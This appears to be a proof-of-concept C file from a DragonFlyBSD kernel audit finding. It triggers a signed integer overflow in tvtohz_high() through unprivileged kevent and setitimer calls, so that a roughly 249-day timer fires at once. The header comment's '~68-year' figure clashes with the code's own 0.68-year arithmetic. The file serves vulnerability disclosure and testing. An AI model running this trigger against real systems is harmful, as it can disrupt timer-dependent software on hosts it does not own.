⬢ DragonFlyBSD Kernel Audit
DF-5835 / tvtohz_ovf.c
← back to finding ↓ download raw
/*
 * DF-5835 PoC: signed int overflow in tvtohz_high() (sys/kern/kern_clock.c:1199)
 * and its siblings tvtohz_low()/tstohz_high()/tstohz_low().
 *
 * The guard `sec <= INT_MAX / hz` leaves no headroom for the sub-second term:
 * at hz=100, sec=INT_MAX/hz=21474836 with usec=999000 gives
 *   ticks = (int)(21474836*100 + howmany(999000,10000)) + 1
 *         = (int)(2147483701)  -> wraps to -2147483595.
 * The negative count is clamped by callout_reset() to a 1-tick timeout, so a
 * ~68-year one-shot timer fires IMMEDIATELY.
 *
 * Unprivileged reachability #1: kevent(EVFILT_TIMER) - kn->kn_sdata (ms) is
 *   converted in filt_timerreset() (kern_event.c:425-433) with NO validation
 *   in filt_timerattach(). data=21474836999 -> tv={21474836, 999000}.
 * Unprivileged reachability #2: setitimer(ITIMER_REAL, {{21474836,999999},0})
 *   passes itimerfix() (normalized) and hits kern_time.c:968 tvtohz_high().
 *
 * Build: cc -O2 -Wall -o tvtohz_ovf tvtohz_ovf.c
 * Run:   ./tvtohz_ovf kevent ; ./tvtohz_ovf setitimer
 */
#include <sys/event.h>
#include <sys/signal.h>
#include <sys/time.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static double
now(void)
{
	struct timespec ts;

	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ((double)ts.tv_sec + (double)ts.tv_nsec / 1e9);
}

static volatile sig_atomic_t got_alrm;

static void
alrm(int sig __attribute__((unused)))
{
	got_alrm = 1;
}

static int
do_kevent(void)
{
	struct kevent ev;
	struct timespec two = { 2, 0 };
	double t0;
	int kq, n;

	kq = kqueue();
	if (kq < 0) {
		perror("kqueue");
		return (1);
	}

	/* OVERFLOW boundary: 21474836999 ms -> tv {21474836 s, 999000 us} */
	EV_SET(&ev, 1, EVFILT_TIMER, EV_ADD | EV_ONESHOT, 0, 21474836999LL, NULL);
	t0 = now();
	n = kevent(kq, &ev, 1, &ev, 1, NULL);	/* block until it fires */
	printf("[kevent] boundary data=21474836999ms (%.1f yr): fired after "
	       "%.6f s (n=%d errno=%d)  <-- OVERFLOW if ~0s, expected ~249 days\n",
	       21474836.999 / (365.25 * 86400),
	       now() - t0, n, errno);

	/* CONTROL: 1 second of ms below the boundary -> no overflow -> huge
	 * timeout, must NOT fire within the 2 s kevent timeout. */
	EV_SET(&ev, 2, EVFILT_TIMER, EV_ADD | EV_ONESHOT, 0, 21474835999LL, NULL);
	t0 = now();
	n = kevent(kq, &ev, 1, &ev, 1, &two);
	printf("[kevent] control data=21474835999ms: n=%d after %.6f s "
	       "(expected n=0 timeout ~2s, i.e. NOT fired)\n",
	       n, now() - t0);

	close(kq);
	return (0);
}

static int
do_setitimer(void)
{
	struct itimerval it, old;
	struct timespec req = { 0, 100 * 1000 * 1000 };
	double t0;
	int i;

	signal(SIGALRM, alrm);
	memset(&it, 0, sizeof(it));
	/* OVERFLOW boundary: passes itimerfix(): normalized, non-negative */
	it.it_value.tv_sec = 21474836;
	it.it_value.tv_usec = 999999;
	if (setitimer(ITIMER_REAL, &it, &old) < 0) {
		perror("setitimer");
		return (1);
	}
	t0 = now();
	for (i = 0; i < 60 && !got_alrm; i++)	/* up to 6 s */
		nanosleep(&req, NULL);
	if (got_alrm)
		printf("[setitimer] boundary {21474836s,999999us} "
		       "(~249 days): SIGALRM after %.6f s  <-- OVERFLOW if ~0s\n",
		       now() - t0);
	else
		printf("[setitimer] no SIGALRM within 6 s (no overflow?)\n");
	return (0);
}

int
main(int argc, char **argv)
{
	if (argc < 2 || !strcmp(argv[1], "kevent"))
		return (do_kevent());
	if (!strcmp(argv[1], "setitimer"))
		return (do_setitimer());
	fprintf(stderr, "usage: %s kevent|setitimer\n", argv[0]);
	return (2);
}